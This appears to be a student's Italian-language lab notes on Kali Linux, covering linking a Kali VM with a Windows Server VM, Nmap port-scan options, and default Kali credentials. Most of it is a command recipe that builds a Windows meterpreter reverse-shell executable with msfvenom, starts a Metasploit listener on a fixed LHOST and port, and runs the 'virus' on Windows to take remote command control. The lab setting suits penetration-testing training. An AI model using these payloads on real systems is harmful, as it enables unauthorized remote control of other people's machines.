Kali

Obbiettivo: far comunicare VM Kali e VM windows server.

1. A VM spente aggiungere 2° scheda di rete
2. Aggiungere 2° network adapter 🡨 mettere in custom 🡨 sulla stessa virtual network
3. Assegnare IP alla 2° scheda di rete all’interno delle VM sia Kali che Windows

Pasword kali:

usr: kali

psw: kali

Scan Porte:

* Nmap IP 🡨 scansione porte più famose
* Nmap -p (porta) IP 🡨 scan solo su quella porta
* Nmap -p IP 🡨 scan su tutte le porte
* Nmap -p (porta) -A IP 🡨 + info
* Nmap -p (porta) -sS IP 🡨 scansione silenziosa
* Nmap -p (porta) -sV IP 🡨 scansione versione

Comandi per creare Exploit su Windows

VISUALIZZA TUTTI I PAYLOADS

* msfconsole
* msfvenom-l payloads

CREA L'EXPLOIT

* msfvenom -p windows/x64/meterpreter/reverse\_tcp --list-options
* msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=192.168.43.236 LPORT=888 -f exe > /home/kali/Desktop/file.exe

METTITI IN ASCOLTO

* use multi/handler
* set PAYLOAD windows/x64/meterpreter/reverse\_tcp
* show options
* set LHOST 192.168.43.236
* set LPORT 888
* exploit

AVVIA IL VIRUS SU WINDOWS

Una volta stabilito il collegamento posso eseguire comandi su windows direttamente da Kali

Owasp sito sulla sicurezza informatica:

<https://owasp.org/www-project-top-ten/>

10 attacchi più frequenti